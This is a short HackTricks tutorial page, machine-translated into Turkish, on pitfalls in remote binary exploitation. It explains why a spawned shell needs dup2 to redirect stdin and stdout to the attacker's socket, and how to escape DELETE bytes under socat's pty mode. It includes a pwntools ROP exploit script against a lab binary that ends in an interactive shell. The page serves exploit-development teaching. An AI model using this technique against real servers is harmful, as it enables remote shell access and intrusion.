Common Exploiting Problems

HackTricks'i Destekleyin

Uzak Sömürüde FD'ler

Bir uzaktan sunucuya system('/bin/sh') çağrısı yapan bir sömürü gönderdiğinizde, bu sunucu sürecinde çalıştırılacak ve /bin/sh stdin'den (FD: 0) girdi bekleyecek ve stdout ve stderr'de (FD'ler 1 ve 2) çıktıyı yazdıracaktır. Bu nedenle, saldırgan shell ile etkileşimde bulunamayacaktır.

Bunu düzeltmenin bir yolu, sunucu başlatıldığında FD numarası 3 (dinleme için) oluşturduğunu varsaymaktır ve ardından, bağlantınız FD numarası 4'te olacaktır. Bu nedenle, stdin'i (FD 0) ve stdout'u (FD 1) FD 4'te (saldırganın bağlantısı) çoğaltmak için dup2 sistem çağrısını kullanmak mümkündür, böylece shell çalıştırıldığında onunla iletişim kurmak mümkün olacaktır.

Buradan sömürü örneği:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Not edin ki socat zaten stdin ve stdout'u sokete aktarır. Ancak, pty modu DELETE karakterlerini içerir. Yani, bir \x7f (DELETE -) gönderirseniz, bu saldırınızın önceki karakterini siler.

Bunu aşmak için, gönderilen her \x7f'nin önüne kaçış karakteri \x16 eklenmelidir.

Burada bu davranışın bir örneğini bulabilirsiniz.

Support HackTricks

Last updated